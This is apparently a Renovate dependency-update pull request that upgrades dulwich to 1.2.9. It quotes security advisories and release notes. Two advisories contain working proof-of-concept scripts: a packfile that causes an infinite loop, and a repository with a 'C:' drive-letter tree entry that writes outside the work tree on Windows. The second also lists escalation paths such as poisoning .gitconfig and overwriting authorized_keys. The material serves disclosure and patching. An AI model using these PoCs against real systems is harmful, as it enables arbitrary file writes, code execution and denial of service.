[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
dulwich	==0.22.1 → ==1.2.9

---

Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows

CVE-2026-42305 / GHSA-897w-fcg9-f6xj

More information

Details

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then
  executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git1 was rejected; git2, git10, GIT1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/jelmer/dulwich/security/advisories/GHSA-897w-fcg9-f6xj
• https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-42305
• https://github.com/jelmer/dulwich/commit/49eb56e51aad637fc23d54bf2a08cb42739b8290
• https://github.com/jelmer/dulwich/commit/57efc4aa1581e038915a0fd79365be53b150f4a9
• https://github.com/advisories/GHSA-897w-fcg9-f6xj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Dulwich has unbounded memory allocation in receive-pack from crafted thin packs

CVE-2026-47734 / GHSA-xrvj-v92f-53gj

More information

Details

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) -
for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @​ University of Sydney

Severity

• CVSS Score: 5.7 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

References

• https://github.com/jelmer/dulwich/security/advisories/GHSA-xrvj-v92f-53gj
• https://nvd.nist.gov/vuln/detail/CVE-2026-47734
• https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5
• https://github.com/advisories/GHSA-xrvj-v92f-53gj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

GHSA-35mr-4567-66vg

More information

Details

Affected file

• dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

##### Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

##### Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:

   if delta_offset == 0:
       raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")

2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

• https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg
• https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7
• https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9
• https://github.com/advisories/GHSA-35mr-4567-66vg

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

GHSA-8mcx-5rqc-vhmf

More information

Details

Affected files

• dulwich/index.py (Methods: validate_path_element_ntfs, _tree_to_fs_path)
• dulwich/porcelain/__init__.py (Method: _checked_worktree_path)

Description / Summary

A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.

A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").

On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.

While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.

Potential impact

This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.

Attack vectors include:

1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.

Proof of Concept (PoC)

The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.

from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

##### 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

##### 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree();   evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir  = Tree(); users_dir[b"Users"]   = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

##### VULNERABILITY: The "C:" directory bypasses validation
c_drive    = Tree(); c_drive[b"C:"]        = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)

commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")

##### Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf
• https://github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664
• https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9
• https://github.com/advisories/GHSA-8mcx-5rqc-vhmf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

dulwich/dulwich (dulwich)

v1.2.9

Compare Source

Highlights of this release:

Security fixes

• Reject checkout paths whose leading component is a DOS drive-letter prefix on Windows (e.g. C:), which os.path.join would otherwise treat as absolute and let a crafted tree write outside the work tree. (reported by Luke Baton)
• Bound zlib decompression of pack entries and loose objects against decompression-bomb DoS. read_zlib_chunks now caps the inflated size at the declared decomp_len, and loose-object parsing accepts max_size defaulting to git's core.bigFileThreshold (512 MiB). (reported by Luke Bento)
• Reject OFS_DELTA pack entries whose delta_base_offset is zero. Such an entry references itself, so Pack.resolve_object would loop forever growing its delta stack until OOM. (reported by Luke Banto)
• Bound Transfer-Encoding: chunked request bodies in dulwich.web: strip chunk extensions, reject negative sizes, enforce per-chunk and per-request size limits, and cap requests that omit Content-Length.
• Bound the running length when decoding EWAH bitmaps so a corrupt or malformed .bitmap index raises ValueError instead of hanging in an unbounded loop that exhausts memory.

Other changes

• web: Reject smart HTTP git-upload-pack / git-receive-pack POSTs whose Content-Type is not the exact application/x-<service>-request value, matching git http-backend.
• dulwich.web: Warn at startup that running python3 -m dulwich.web is not intended as a production web server (no authentication, etc.).

See NEWS for the full list.

v1.2.8

Compare Source

Security

• GHSA-8w8g-wq8h-fq33: Write files through build_file_from_blob in path-restricted porcelain.checkout(paths=...) instead of a raw os.open. The old path followed a symlink left at the target, so a crafted repository could write attacker content outside the work tree (e.g. into .git/hooks) on checkout.
• GHSA-5fqc-mrg8-w798: Build the temporary index for filter-branch --index-filter in memory instead of materializing tree entries into CWD. Persisted entries between commits let a symlink from an ancestor commit redirect a descendant's writes outside the work tree.
• Refuse to write a stash entry through an intermediate symlink on stash.pop. The old os.path.exists check followed symlinks, so a crafted stash whose parent path was a symlink already present in the worktree (e.g. link -> .git/hooks) let the subsequent write land outside the work tree.
• Refuse path-restricted porcelain.checkout, restore and reset_file writes whose leading directory is an existing symlink, so a crafted repository can no longer land sub as a link to .git/hooks and have a write to sub/anything traverse it.
• Canonicalize file modes to 0o644/0o755 before chmod on checkout and patch apply, matching git. An untrusted tree entry or patch `new file mode` could otherwise set setuid/setgid/sticky or world-writable bits on a materialized file.
• Reject non-hex pkt-line length prefixes in the protocol parser. int(sizestr, 16) accepted a leading -, whose negative length made the following `read(size - 4)` slurp the rest of the stream and caused `PktLineParser` to loop without consuming its buffer. (#​2267)
• Escape the repository path passed to the remote in the SSH client, so a path containing a single quote can no longer close the quoting and have the remainder interpreted by the remote shell. (#​2254)
• Reject an option-like host in TCPGitClient before invoking the core.gitProxy command, matching the SubprocessSSHVendor guard, so a URL like `git://-oProxyCommand=...` can no longer be interpreted as a flag by the proxy program. (#​2240)
• Validate object ids in the object store and refs container. An id containing path separators would previously be joined into a filename by `DiskObjectStore._get_shafile_path` (escaping the objects directory) or stored as a ref value. (#​2256)
• Validate the object id in LFS server request handlers before it reaches the store, so a request path containing .. cannot escape the LFS directory. (#​2255)
• Don't expand config include/includeIf directives when parsing bundle lists served by an untrusted bundle-uri host, matching the handling of `.gitmodules`. (#​2243)
• Read the signing key from gpg's --status-fd (VALIDSIG) in `GPGCliSignatureVendor.verify` instead of the human-readable stderr text, which could be spoofed by embedding a matching line in the signed payload. (#​2245)
• Raise UntrustedSignature from verify_commit/verify_tag when keyids is set and the object carries no signature, instead of silently accepting it. (#​2238)
• Fix quadratic backtracking in _find_scissors_line so a crafted patch can no longer stall mailinfo/git am --scissors. (#​2239)
• Collapse consecutive * wildcards to at most ** in .gitattributes, .gitignore and config glob translation to avoid catastrophic backtracking (ReDoS). (#​2237)
• Fix quadratic buffering in web.ChunkReader.read. (#​2262)
• Skip invalid tree paths (containing .., .git, etc.) in `diff_working_tree_to_tree` instead of joining them onto the work tree; a working-tree diff against an untrusted commit could otherwise read a file outside the work tree and disclose its contents. (#​2261)
• Fix quadratic header accumulation in ShaFile._parse_message. (#​2273)

Fixes

• Enumerate the objects to push before the HTTP git-receive-pack request body starts streaming. `generate_pack_data` previously ran lazily inside the body generator, after the header pkt-lines were already on the wire, so on large repositories the request stalled mid-body while objects were counted and servers such as GitHub aborted the push with a timeout / broken pipe. (#​2248)
• Replace a symlink left at the target path with a fresh regular file in build_file_from_blob instead of writing through it, matching git on checkout. (#​2259)
• Raise GitProtocolError carrying the server's message when the fetch/send-pack tail loop sees a fatal side-band channel (\x03), instead of crashing with `AssertionError: Invalid sideband channel 3` and swallowing the server's error text.
• Use ThreadingHTTPServer and advertise HTTP/1.1 in lfs_server so urllib3's keep-alive pool doesn't race a torn-down connection into RemoteDisconnected.

Other

• Support http.postBuffer. (#​2248)
• Support pyo3 0.29.
• Deprecate dulwich.objects.filename_to_hex, which is unused.

v1.2.7: 1.2.7

Compare Source

Security

• Don't expand config include directives when parsing .gitmodules, so a crafted .gitmodules in a cloned repository can no longer make clone --recurse-submodules read arbitrary files.
• Validate ref names before resolving them to a path, so a client-supplied name like ../../secret can no longer read a file outside the ref store. Closes a traversal via git-upload-archive's argument and other lookup paths. (#​2212)
• Reject pack names containing path separators in the dumb HTTP transport, so a malicious server can no longer escape the temporary directory. (#​2213)
• Verify that an object retrieved by id actually hashes to the requested id, raising ChecksumMismatch otherwise. (#​2223)

New features

• Add porcelain.request_pull and a dulwich request-pull command, like git request-pull. (#​1823)
• Add porcelain.range_diff and a dulwich range-diff command, like git range-diff (requires the dulwich[range_diff] extra). (#​1828)

Fixes

• Check out files whose names contain a colon or backslash on NTFS, instead of silently dropping them on clone, and abort the checkout on a genuinely invalid path. (#​2205)
• Fix apply_patch writing index entries with mode 0, which made native git abort. (#​2218)
• Fix deepening of a local shallow fetch not transferring newly-uncovered commits.
• Several gc/repack fixes on Windows (read-only pack files, leaked temporary packs, files-in-use).
• Discover and serve packs with non-pack- names such as loose-<hash> (written by git maintenance). (#​2229)

See NEWS for the full changelog.

v1.2.6

Compare Source

v1.2.5: 1.2.5

Compare Source

This is a security release. All users are encouraged to upgrade.

Security fixes

• GHSA-gfhv-vqv2-4544 -- Validate submodule paths in porcelain.submodule_update (and thus porcelain.clone(recurse_submodules=True)). A crafted upstream repository could carry a submodule whose path was .git/hooks (or any other path inside .git or above the work tree), causing the submodule's tree contents to be written there with their executable bits intact. The dulwich analogue of git's CVE-2024-32002 / CVE-2024-32004. (Reported by tonghuaroot)

• CVE-2026-42305 -- Harden tree path validation against entry names that are harmless on POSIX but dangerous when checked out on Windows. validate_path_element_ntfs now also rejects Windows path separators, the alternate data stream marker :, NTFS 8.3 short-name aliases of .git, and reserved Windows device names. core.protectNTFS now defaults to true on every platform, and both core.protectNTFS and core.protectHFS are now read under their correct option names. (Reported by Christopher Toth)

• CVE-2026-42563 -- Shell-quote values substituted into ProcessMergeDriver commands. A malicious branch could inject shell commands when a merge driver referencing %P was configured. (Reported by Ravishanker Kusuma (hayageek))

• CVE-2026-47712 -- Sanitize commit subjects used in porcelain.format_patch filenames so a malicious subject (e.g. x/../../x) cannot direct the generated patch outside outdir. (Reported by Christopher Toth)

• receive.maxInputSize -- Honour receive.maxInputSize in ReceivePackHandler. Previously a remote unauthenticated client could send a tiny crafted pack that declared a huge dest_size and trigger hundreds of MB of allocation over git-receive-pack. (Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @​ University of Sydney)

v1.2.4: 1.2.4

Compare Source

What's Changed

• refs: reject malformed ref prefixes/suffixes by @​jelmer in jelmer#2193
• Use decorator form for properties by @​stephenfin in jelmer#2191
• refs: for now, warn rather than error on malformed ref names by @​jelmer in jelmer#2194

Full Changelog: jelmer/dulwich@dulwich-1.2.3...dulwich-1.2.4

v1.2.3

Compare Source

v1.2.2

Compare Source

v1.2.1: 1.2.1

Compare Source

Changes since 1.2.0

• Derive the LFS endpoint as the remote's on-disk LFS store
  (<remote>/.git/lfs for worktrees, <remote>/lfs for bare repos)
  when remote.origin.url points at a local filesystem path or
  file:// URL, matching git-lfs behaviour. Previously the built-in
  smudge filter constructed an HTTP-style <remote>.git/info/lfs path
  that did not exist on disk, leaving LFS-tracked files as pointers
  when cloning from a local repo.

• Deduplicate objects when writing a multi-pack-index. Objects present
  in multiple packs (e.g. after git gc creates a cruft pack) would
  otherwise produce an OIDL chunk with repeated SHAs, causing
  git multi-pack-index verify to fail with "oid lookup out of order".
  (#​2152)

• Extend ignorecase and precomposeunicode support to index lookups.
  (#​1807)

v1.2.0: 1.2.0

Compare Source

Notable changes since 1.1.0

New features

• Add am command and porcelain.am() for applying mailbox-style email patches (git am), with state persistence for --continue, --skip, --abort, and --quit recovery (#​1692).
• Add apply command and porcelain.apply_patch() for applying unified diffs, including rename/copy detection, binary patches with Git's base85 encoding, and --3way merge fallback (#​1784).
• Expand log command options: --oneline, --abbrev-commit, --author, --committer, --grep, --since/--after, --until/--before, -n/--max-count, --no-merges, --merges, --stat, -p/--patch, --name-only, and --follow (#​1779).
• Add support for push options (-o/--push-option) in push, enabling AGit flow and other server-side push option workflows.
• Add missing push options: --all, --tags, --delete, --dry-run, --prune, --set-upstream, --follow-tags, and --mirror (#​1844).
• Add support for atomic push operations (--atomic): either all ref updates succeed or none are applied (#​1781).
• Add support for extensions.relativeworktrees repository extension, allowing worktrees to use relative paths (#​2112).

Configuration support

• gc.pruneExpire — grace period before unreachable objects are pruned (#​1859).
• core.precomposeunicode — normalize NFD Unicode paths from macOS filesystems to NFC (#​1804).
• core.gitProxy — proxy command for git:// protocol connections (#​1850).
• core.maxStat — limit stat operations when checking for unstaged changes (#​1853).
• core.packedGitLimit — cap memory used for mmapped pack files, closing LRU packs when exceeded (#​1848).
• core.deltaBaseCacheLimit — cap memory used for caching delta base objects; defaults to 96 MiB (#​1849).
• http.userAgent — customize the User-Agent header (global and URL-specific); default is git/dulwich/{version}.

Fixes

• Fix GPG signature verification to raise BadSignature for all GPG errors, not just BadSignatures; also detect when GPG returns no signatures.
• Fix client incorrectly sending unborn argument in Git protocol v2 ls-refs requests to servers that don't advertise ls-refs=unborn, preventing clones from older servers like Gerrit 3.12.2 (#​2104).
• Improve error message in read_info_refs() to show the actual line content when parsing fails (#​2103).
• Preserve quoted trailing whitespace in config values (#​2145, Christopher Toth).
• Fix .gitignore parent re-include handling so a later !dir/ re-include allows a subsequent file-level negation to take effect (#​2141, N0zoM1z0).
• Fix host key verification in contrib/paramiko_vendor.py by loading known hosts and rejecting unknown SSH host keys by default (#​2123, quart27219).

Packaging

• No longer ship contrib/ as part of the distribution. The contrib/ directory has always been documented as unsupported and is now excluded from the installed package (#​2122).

v1.1.0: 1.1.0

Compare Source

What's Changed

• Add reference to c-git-compatibility doc in README.md by @​jelmer in jelmer#2069
• Implement cli commands for more porcelain by @​jelmer in jelmer#2071
• Support GIT_TRACE_PACKET by @​jelmer in jelmer#2073
• Fix cloning of SHA-256 repositories with protocol v2 by @​jelmer in jelmer#2074
• skip tests that require merge3 when it's not available by @​kulikjak in jelmer#2075
• Add test-minimal to CI; run tests without installing any optional dependencies by @​jelmer in jelmer#2076
• Update SECURITY.md by @​jelmer in jelmer#2077
• Don't skip 3.14 wheels by @​bowiechen in jelmer#2078
• Add Git protocol v2 packfile-uris client support by @​jelmer in jelmer#2079
• Attempt to fix occasional issues with long running lfs processes in tests by @​jelmer in jelmer#2081
• Allow passing commit and author timestamps into porcelain.commit by @​ading2210 in jelmer#2080
• Skip Python 3.14 x86_64/universal2 wheels on macOS by @​jelmer in jelmer#2082
• Improve exception message for tags by @​jelmer in jelmer#2083
• ci(deps): bump dependabot/fetch-metadata from 2.4.0 to 2.5.0 by @​dependabot[bot] in jelmer#2084
• ci(deps): bump actions/checkout from 6.0.1 to 6.0.2 by @​dependabot[bot] in jelmer#2085
• deps(deps-dev): bump ruff from 0.14.10 to 0.14.14 in the pip group by @​dependabot[bot] in jelmer#2086
• Add bundle URI support for faster clones and fetches by @​jelmer in jelmer#2087
• Add basic subtree support by @​jelmer in jelmer#2088
• Add support for core.trustctime configuration option by @​jelmer in jelmer#2091
• Fix LFS client selection for file:// URLs by @​jelmer in jelmer#2089
• Add support for core.commentChar configuration option (#​1852) by @​jelmer in jelmer#2092
• Add --unshallow support to fetch command by @​jelmer in jelmer#2093
• Add progress reporting during pack file downloads by @​jelmer in jelmer#2094
• Macos wheels fix by @​jelmer in jelmer#2095
• Disable git-lfs filter process in LFS status tests to fix flaky Windows failures by @​jelmer in jelmer#2096
• Server side hooks by @​jelmer in jelmer#2097
• Fix checkout skipping files with paths starting with '.git' by @​jelmer in jelmer#2098

New Contributors

• @​bowiechen made their first contribution in jelmer#2078
• @​ading2210 made their first contribution in jelmer#2080

Full Changelog: jelmer/dulwich@dulwich-1.0.0...dulwich-1.1.0

v1.0.0: 1.0.0

Compare Source

What's Changed

• More tests by @​jelmer in jelmer#2066
• Document C git compatibility by @​jelmer in jelmer#2067
• Remove deprecated functions by @​jelmer in jelmer#2068

Full Changelog: jelmer/dulwich@dulwich-0.25.2...dulwich-1.0.0

v0.25.2: dulwich-0.25.1

Compare Source

What's Changed

• Fix GPG signature test to handle InvalidSigners exception by @​jelmer in jelmer#2064
• Make object store close() idempotent and warn on unclosed resources by @​jelmer in jelmer#2065

Full Changelog: jelmer/dulwich@dulwich-0.25.1...dulwich-0.25.2

v0.25.1

Compare Source

Full Changelog: jelmer/dulwich@dulwich-0.25.0...dulwich-0.25.1

v0.25.0: v0.25.0

Compare Source

What's Changed

• ci(deps): bump actions/upload-artifact from 4.6.2 to 5.0.0 by @​dependabot[bot] in jelmer#1975
• deps(deps): bump pyo3 from 0.27.0 to 0.27.1 in the cargo group by @​dependabot[bot] in jelmer#1977
• ci(deps): bump actions/download-artifact from 5.0.0 to 6.0.0 by @​dependabot[bot] in jelmer#1976
• deps(deps-dev): bump ruff from 0.13.2 to 0.14.3 in the pip group by @​dependabot[bot] in jelmer#1978
• Drop python 3.9 by @​jelmer in jelmer#1950
• fix(docs): add missing hyphen in date format in NEWS by @​Guts in jelmer#1979
• client: relax check to support subclasses of Urllib3HttpGitClient by @​skshetry in jelmer#1980
• pass key_filename and ssh_command to SSHGitClient by @​skshetry in jelmer#1981
• Add tests to verify client args are passed by @​jelmer in jelmer#1982
• Add mailinfo command by @​jelmer in jelmer#1983
• Add column formatting support by @​jelmer in jelmer#1984
• Fix warnings by @​jelmer in jelmer#1985
• Fix test_concurrent_ref_operations_compatibility by @​jelmer in jelmer#1986
• Fix typo in preamble by @​jelmer in jelmer#1987
• Add diagnose command by @​jelmer in jelmer#1988
• Add rerere support by @​jelmer in jelmer#1992
• Add reachability abstraction by @​jelmer in jelmer#1994
• update security support by @​jelmer in jelmer#1996
• Modernize by @​jelmer in jelmer#1997
• Implement core.sharedRepository configuration support (#​1804) by @​jelmer in jelmer#1942
• NEWS: Fix formatting for 0.24.10 by @​jelmer in jelmer#2000
• Optimize status performance by using stat matching to skip unchanged files by @​jelmer in jelmer#2001
• Improve error handling when trying to remove non-empty directory by @​kulikjak in jelmer#2004
• Implement restore and switch commands by @​jelmer in jelmer#2003
• skip tests that require merge3 when it's not available by @​kulikjak in jelmer#2002
• Use bitmap support by @​jelmer in jelmer#1995
• Fix doc warnings by @​jelmer in jelmer#2006
• Make Ref and ObjectID newtypes for improved typing by @​jelmer in jelmer#2008
• Fix get_unstaged_changes filter callback to expect Blob objects by @​jelmer in jelmer#2011
• Add basic midx support by @​jelmer in jelmer#1998
• avoid signing commits in stash by @​skshetry in jelmer#2012
• deps(deps): bump pyo3 from 0.27.1 to 0.27.2 in the cargo group by @​dependabot[bot] in jelmer#2014
• deps(deps-dev): bump the pip group with 2 updates by @​dependabot[bot] in jelmer#2015
• ci(deps): bump docker/setup-qemu-action from 3.6.0 to 3.7.0 by @​dependabot[bot] in jelmer#2016
• ci(deps): bump actions/checkout from 5.0.0 to 6.0.0 by @​dependabot[bot] in jelmer#2017
• Ensure maintenance tests are run by @​jelmer in jelmer#2019
• Use nanosecond-resolution when comparing file entries by @​jelmer in jelmer#2013
• Move peeled tags protocol functions to dulwich.protocol by @​jelmer in jelmer#2020
• Move greenthreads to contrib/ by @​jelmer in jelmer#2021
• Add all to all files by @​jelmer in jelmer#2022
• Fix UTF-8 decode error in process filter protocol handling by @​jelmer in jelmer#2024
• Add --stat argument to diff by @​jelmer in jelmer#2026
• Make porcelain.add check explicit for None by @​ejfine in jelmer#2027
• Fix ParamikoSSHVendor interface compatibility with SSHVendor by @​jelmer in jelmer#2029
• Quote smudge path by @​jelmer in jelmer#2031
• Initial work splitting porcelain by @​jelmer in jelmer#2032
• Add tests for consistent license preamble, and to prevent os.environ use in lower layers by @​jelmer in jelmer#2033
• Install dulwich.porcelain by @​jelmer in jelmer#2035
• fix typing by @​radoering in jelmer#2036
• Split out worktree by @​jelmer in jelmer#2037
• Add comprehensive SHA256 support for Git repositories by @​jelmer in jelmer#1604
• dumb: Add fallback when HEAD is missing by @​anlambert in jelmer#2030

New Contributors

• @​Guts made their first contribution in jelmer#1979
• @​ejfine made their first contribution in jelmer#2027
• @​radoering made their first contribution in jelmer#2036

Full Changelog: jelmer/dulwich@dulwich-0.24.10...dulwich-0.25.0

v0.24.10: 0.24.10

Compare Source

• Fix compatibility with python 3.9. (@​jelmer, #​1991)

Full Changelog: jelmer/dulwich@dulwich-0.24.9...dulwich-0.24.10

v0.24.9

Compare Source

• Fix passing key_filename and ssh_command parameters to SSHGitClient by @​skshetry

• Relax check to support subclasses of Urllib3HttpGitClient. Fixes
  regression from 0.24.2 where subclasses of Urllib3HttpGitClient would
  not receive the config object. by @​skshetry

• Fix test_concurrent_ref_operations_compatibility test flakiness by @​jelmer

• Fix warnings in test suite by @​jelmer

Full Changelog: jelmer/dulwich@dulwich-0.24.8...dulwich-0.24.9

v0.24.8

Compare Source

What's Changed

• Support ref namespaces by @​jelmer in jelmer#1957
• Add Rust test step to CI workflow. by @​jelmer in jelmer#1958
• Add support for GIT_FLUSH environment variable by @​jelmer in jelmer#1959
• Add support for recursive submodule updates by @​jelmer in jelmer#1961
• Add maintenance subcommand by @​jelmer in jelmer#1960
• Add interpret-trailers command by @​jelmer in jelmer#1962
• Add support for replace command by @​jelmer in jelmer#1963
• Fix config file leakage in compat tests by @​jelmer in jelmer#1964
• Various bundle fixes by @​jelmer in jelmer#1965
